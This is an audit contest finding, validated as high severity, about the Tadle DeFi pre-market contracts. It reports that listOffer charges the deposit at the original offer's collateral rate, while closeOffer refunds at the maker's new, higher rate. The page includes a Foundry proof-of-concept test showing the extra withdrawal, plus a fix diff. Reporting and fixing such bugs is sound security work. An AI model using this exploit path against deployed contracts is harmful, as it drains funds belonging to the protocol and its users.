Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

The Maker can steal more funds from market by listing in Protected mode and closing offer

Summary

When a market maker lists their offer in protected mode, they must provide the collateral rate at which the assets will be sold and also deposit the collateral accordingly. However, if the market maker closes their listing, they might exploit the protocol by withdrawing more funds ten their deposits due to an incorrect collateral rate used in the deposit calculation.

Vulnerability Details

The Tadle allows makers to list points for sale that they have either purchased from the initial market maker or that they themselves initially provided. Offers can be listed in either Protected or Turbo mode.
In Protected mode, the listOffer function lists the offer with a new collateral rate and stores the deposited cryptocurrency for post-settlement. This deposit will be transferred to the buyer after the trade is completed.

The issue here is that makers are allowed to set a new collateral rate when listing an offer. However, the system uses the original offer's collateral rate to calculate the deposit amount.

function listOffer(
address _stock,
uint256 _amount,
uint256 _collateralRate
) external payable {
...
OfferInfo storage offerInfo = offerInfoMap[stockInfo.preOffer];
MakerInfo storage makerInfo = makerInfoMap[offerInfo.maker];
...
/// @dev transfer collateral when offer settle type is protected
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
@1-------> offerInfo.collateralRate, // @audit : the token amount user will deposit for listing in protcted mode, collateral rate used of origin offer
_amount,
true,
Math.Rounding.Ceil
);
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(
_msgSender(),
makerInfo.tokenAddress,
transferAmount,
false
);
}
...
/// @dev update offer info
offerInfoMap[offerAddr] = OfferInfo({
amount: _amount,
@2------> collateralRate: _collateralRate, // @audit : the colllsteral rate used for user offer??
});
}

@1uses the collateral rate from the original offer to determine the collateral deposit amount, while @2 stores the collateral rate specified by the market maker for the current offer.

In the offer closure process, we use the collateral rate specified by the market maker at the time of listing the offer.

uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
offerInfo.collateralRate // @audit : here it will used the coolateral rate for refund amount ??
);

This can lead to asset loss for Tadle in the following scenario:

  1. Bob purchases 100 points from Alice at a collateral rate of 12,000. The collateral rate for the original offer is 12,000.

  2. Bob lists the 100 points with a new collateral rate of 13,000, resulting in a deposit amount of 1,200,000. Here we use the collateral rate from origin offer.

  3. At this point, Bob has deposited 1,200,000 collateral tokens, and the collateral rate for his offer is 13,000.

  4. When Bob calls closeOffer, the offer is closed and the refund amount is stored in Bob's balance mapping.Here we use the collateral rate of given offer , Due to the incorrect collateral rate used for calculation, the refund amount stored user balance mapping is 1,300,000.

In summary, when deducting the deposit amount from the maker, the collateral rate of the original offer is used. However, when closing the same offer, the collateral rate of the current offer is used. This discrepancy allows the market maker to exploit the protocol and steal funds.
The following coded POC proof that the maker will have more funds then his initial funds :

Add following test case to PreMarket.t.sol :

function test_list_and_close_offer_hack() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1000);
uint256 initialBalance = mockUSDCToken.balanceOf(user);
// make sure user don't have any fund in MakerRefund
assertEq(
tokenManager.userTokenBalanceMap(
user,
address(mockUSDCToken),
TokenBalanceType.MakerRefund
),
0
);
console2.log("Before Bal: ", mockUSDCToken.balanceOf(user));
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 13000); // list here with greater collateral rate
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
uint256 afterBal = mockUSDCToken.balanceOf(user); // here maker have close the listing and the balance usdt after closing is stored in afterBal
uint256 afterBalInMapping = tokenManager.userTokenBalanceMap(
user,
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log("close list Bal: ", afterBalInMapping + afterBal);
// now check that the afterBal + value availble for withdrawal in tokenManager mapping is greator than it initial bal
assertGt(afterBal + afterBalInMapping, initialBalance); // in this case the user is able tp steal 600000000000000 USDT for CapitalPool
}

Run with command : forge test --mt test_list_and_close_offer_hack -vvv

Before Bal: 99999999977650000000000000
close list Bal: 99999999978250000000000000

Impact

The discrepancy between using different collateral rate in case of listOffer and closeOffer will allow attacker to steal funds from The Tadle Protocol.

Tools Used

Foundry

Recommendations

One Potential Fix would be Use the new collateral rate to calculate the deposit amount in Protected mode, as the maker will be depositing the collateral.

diff --git a/src/core/PreMarkets.sol b/src/core/PreMarkets.sol
index 5bdbcbf..88589fc 100644
--- a/src/core/PreMarkets.sol
+++ b/src/core/PreMarkets.sol
@@ -346,7 +346,7 @@ contract PreMarktes is PerMarketsStorage, Rescuable, Related, IPerMarkets {
if (makerInfo.offerSettleType == OfferSettleType.Protected) {
uint256 transferAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
- offerInfo.collateralRate,
+ _collateralRate,
_amount,
true,
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-collateralRate-manipulate

Valid high severity, because the collateral rate utilized when creating an offer is stale and retrieved from a previously set collateral rate, it allows possible manipilation of refund amounts using an inflated collateral rate to drain funds from the CapitalPool contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.